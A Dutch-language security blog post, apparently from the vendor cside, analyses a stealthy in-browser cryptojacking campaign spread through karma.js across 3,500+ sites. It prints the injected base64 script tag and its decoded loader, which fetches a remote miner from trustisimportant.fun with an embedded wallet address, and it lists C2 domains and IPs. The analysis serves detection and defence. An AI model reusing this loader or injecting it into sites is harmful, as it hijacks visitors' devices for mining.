Skip to main content
Blog
Blog

CryptoJacking is dood: lang leve CryptoJacking

Modern cryptojacking is uitgegroeid tot een stille, meerfasige aanval.

Jul 17, 2025 5 min read
lang-leve-cryptojacking-op-zwart-en-blauwe-achtergrond

Kort samengevat: onopvallende WebAssembly worker-miner via WebSocket-C2

  • De sector begroef cryptojacking na de sluiting van Coinhive in 2019. Die overlijdensadvertentie leverde ransomware-koppen op. Ondertussen bouwden dezelfde groepen de miner opnieuw op met CPU-throttling, verstopping in Web Workers en command-and-control via WebSockets.
  • cside's dashboards toonden een daling totdat karma[.]js vanaf yobox[.]store zich over 3.500+ geïnfecteerde websites verspreidde, verbinding maakte met wss://lokilokitwo[.]de:10006 en het domein trustisimportant[.]fun ook hergebruikte voor Magecart. Onze detectie-engine markeerde het bestand als kwaadaardig ondanks het ontbreken van duidelijke CPU-pieken in sandboxtests.
  • Als jouw verdediging ervan uitgaat dat cryptojacking voorbij is, laat die aanname dan vandaag varen. Voeg runtime-scriptinspectie toe die let op het spawnen van WebWorkers en WebSocket-C2-patronen, of blijf de elektriciteitsrekening betalen voor de Monero-wallet van een vreemde.

De opkomst en ondergang (en wederopstanding) van in-browser mining

Tijdlijn van de opkomst van Coinhive als in-browser Monero-miner in 2017 en de sluiting in 2019 nadat browsers het blokkeerden.

Het was 2017 toen Coinhive zijn intrede deed en een Monero-miner rechtstreeks in websites inbedde. Gebruikers mijnden onbewust cryptocurrency terwijl ze browsden, waardoor hun apparaten stille winstmachines werden voor site-eigenaren.

Even leek het een win-winsituatie: websites verdienden inkomsten zonder advertenties, en gebruikers ontsnapten aan opdringerige pop-ups. Maar toen de hashrate van Coinhive opliep tot 12% van het totale netwerkvermogen van Monero, zorgden vertraagde apparaten en leeglopende batterijen voor publieke verontwaardiging.

In 2019 blokkeerden browsers als Chrome en Firefox browser-cryptojacking, en Coinhive sloot zijn deuren.

Cryptojacking leek dood te zijn.

Maar in cybersecurity is de dood zelden definitief…

Een mysterieuze neergang (en een storing in de matrix)

Bij cside volgden we cryptojacking-campagnes al jaren. Eind 2024 lieten onze dashboards een sterke daling in activiteit zien. Mining-payloads werden effectiever geblokkeerd, en aanvallers leken te zijn overgestapt op andere terreinen zoals ransomware of het stelen van inloggegevens.

Toen, op een doodgewone dinsdag, markeerde onze crawler iets vreemds: een JavaScript-bestand van derden, geladen vanaf https://www.yobox[.]store/karma/karma.js?karma=bs?nosaj=faster.mo.

De URL zelf was al een rode vlag, een willekeurige parameter, een zinloze nosaj=faster.mo-query. Maar wat de alarmbellen echt deed rinkelen, was het gedrag van het bestand:

cside-dashboard dat het bestand karma[.]js van yobox[.]store als kwaadaardig markeert zonder zichtbare CPU-pieken.

  • Geen netwerkverzoeken (op het eerste gezicht).
  • Geen duidelijke CPU-pieken in sandboxtests.
  • Toch markeerde onze AI het als kwaadaardig.

Dit was niet het luide, resource-slurpende cryptojacking van 2018. Dit was... stil.

Injectie op de website:

<script defer="" src="data:text/javascript;base64,KGZ1bmN0aW9uKGQsIHMsIGlkKXsKICAgIHZhciBqcywgZmpzID0gZC5nZXRFbGVtZW50c0J5VGFnTmFtZShzKVswXTsKICAgIGlmIChkLmdldEVsZW1lbnRCeUlkKGlkKSl7IHJldHVybjsgfQogICAganMgPSBkLmNyZWF0ZUVsZW1lbnQocyk7IGpzLmlkID0gaWQ7CiAgICBqcy5vbmxvYWQgPSBmdW5jdGlvbigpewogICAgICAgIEV2ZXJ5dGhpbmdJc0xpZmUoJzQ3TnNhRXdoYms5MkNmaWJNSmc4TThoSjczTEtEdjlOVGpOdEhMRkg2RVFFMnNBVWRnbndQYzIzMWdnaGYzcllCdkM2Y1h2Z0xhaEpLYTRyaXFRQnhiVDFIQmpRaEZ1JywgJ3dlYicsIDUwKTsKICAgIH07CiAgICBqcy5zcmMgPSAnaHR0cHM6Ly90cnVzdGlzaW1wb3J0YW50LmZ1bi9rYXJtYS9rYXJtYS5qcz9rYXJtYT1icz9ub3Nhaj1mYXN0ZXIubW8nOwogICAgZmpzLnBhcmVudE5vZGUuaW5zZXJ0QmVmb3JlKGpzLCBmanMpOwp9KGRvY3VtZW50LCAnc2NyaXB0JywgJ2JhY2t1cC1qc3MnKSk7Cg=="></script>

Base64 decodeert naar:

(function(d, s, id){
    var js, fjs = d.getElementsByTagName(s)[0];
    if (d.getElementById(id)){ return; }
    js = d.createElement(s); js.id = id;
    js.onload = function(){
        EverythingIsLife('47NsaEwhbk92CfibMJg8M8hJ73LKDv9NTjNtHLFH6EQE2sAUdgnwPc231gghf3rYBvC6cXvgLahJKa4riqQBxbT1HBjQhFu', 'web', 50);
    };
    js.src = 'https://trustisimportant.fun/karma/karma.js?karma=bs?nosaj=faster.mo';
    fjs.parentNode.insertBefore(js, fjs);
}(document, 'script', 'backup-jss'));

Trustisimportant[.]fun stuurt de gebruiker door naar yobox[.]store, van waar de kwaadaardige JS wordt gedownload.

De geest debuggen: een JS 101-tutorial

We haalden het script in een gecontroleerde omgeving om het te ontleden. Zo pakten we het aan:

Stap 1: Bouw een veilige debugging-sandbox

We wikkelden de JS in een eenvoudige HTML-pagina met een Content Security Policy (CSP) om te kunnen debuggen zonder browserblokkades te activeren:

<!DOCTYPE html>
<html>
<head>
  <meta http-equiv="Content-Security-Policy" content="script-src 'self' 'unsafe-eval' 'unsafe-inline'">
  <title>Debugging Karma</title>
</head>
<body>
  <script src="karma.js"></script> <!-- Het kwaadaardige bestand -->
</body>
</html>

De unsafe-eval-richtlijn was cruciaal, omdat het script eval-achtige obfuscatie gebruikte om zijn logica te verbergen.

Stap 2: Voeg debugging-traps in

We voegden debugger;-statements toe op sleutelmomenten om de uitvoering in Chrome DevTools te pauzeren. Bijvoorbeeld:

function _0x6BE7() { // Een WebSocket-setupfunctie
  debugger; // <-- Uitvoering pauzeert hier
  if (ws != null) { ws.close(); }
  // ... rest van de code
}

Stap 3: Ontcijfer de obfuscatie

Het script was een doolhof van hernoemde variabelen (bijv. _0x6AC1, _0x6B23) en gecodeerde strings. Via het tabblad Sources in DevTools hebben we:

  1. 1.Breekpunten ingesteld om stap voor stap door de uitvoering te lopen.
  2. 2.Variabelen gevolgd om hun werkelijke functie te achterhalen (zo controleerde _0x6B85 of het apparaat mobiel was).
  3. 3.Netwerkactiviteit getraceerd via het tabblad Network, waaruit WebSocket-verbindingen naar wss://lokilokitwo[.]de:10006 bleken.

De belangrijkste ontdekking: een stille miner

Het script mijnde niet rechtstreeks cryptocurrency. In plaats daarvan:

  • Controleerde het op WebAssembly-ondersteuning (om het vermogen van het apparaat in te schatten).
  • Maakte het achtergrond-Web Workers aan (de worcy-array) om mining-taken uit te voeren zonder de hoofdthread te blokkeren.
  • Gebruikte het WebSockets om opdrachten van de C2-server te ontvangen en de mining-intensiteit aan te passen op basis van de mogelijkheden van het apparaat.

Dit was een stealth-miner, ontworpen om detectie te vermijden door zowel onder de radar van gebruikers als van beveiligingstools te blijven.

Het grotere plaatje: 3.500+ geïnfecteerde sites

Verder onderzoek bracht een omvangrijke campagne aan het licht:

  • 3.500+ websites laadden de kwaadaardige karma[.]js.
  • Hergebruikte infrastructuur: het domein trustisimportant[.]fun was gekoppeld aan zowel cryptojacking- als Magecart-campagnes (creditcardskimming). Aanvallers diversifieerden hun payloads.
  • Belangrijke IP's: 89.58.14.251 en 104.21.80.1 fungeerden als command-and-control (C2)-servers.

Het motto van de campagne? "Blijf laag, mijn langzaam." Door het CPU-gebruik te beperken en verkeer te verbergen in WebSocket-streams, vermeed de campagne de typische kenmerken van traditionele cryptojacking.

CryptoJacking-aanvallen 101: wat is cryptojacking en hoe werkt het vandaag de dag?

Modern cryptojacking is uitgegroeid tot een stille, meerfasige aanval:

  1. Kwaadaardige JS-bestanden, zoals karma[.]js, worden in websites geïnjecteerd.
  2. Het script controleert op WebAssembly-ondersteuning, apparaattype (mobiel versus desktop) en browserfuncties om het minen te optimaliseren.
  3. Web Workers worden aangemaakt om mining-taken op de achtergrond uit te voeren, zodat prestatiewaarschuwingen worden vermeden.
  4. WebSockets of HTTPS-verzoeken halen mining-taken op en sturen resultaten naar C2-servers.

Het doel is om over langere tijd voortdurend resources af te tappen, als een digitale vampier, niet om apparaten in één keer leeg te trekken.

Conclusie: het kat-en-muisspel gaat door

Cryptojacking is niet dood, het is gewoon slimmer geworden. Aanvallers geven nu voorrang aan onopvallendheid boven brute-krachtdiefstal van resources, en gebruiken obfuscatie, WebSockets en hergebruik van infrastructuur om verborgen te blijven.

Client-side aanvallen worden steeds moeilijker te vangen met statische scans. Runtime-scriptinspectie is wat ze wél opspoort.

Himanshu Anand
Software Engineer

I'm a software engineer and security analyst.

Monitor en beveilig je third-party scripts

Gain full visibility and control over every script delivered to your users to enhance site security and performance.

Start gratis, of probeer Business met een proefperiode van 14 dagen.

cside-dashboardinterface met scriptmonitoring en beveiligingsanalyses
Related Articles
Boek een demo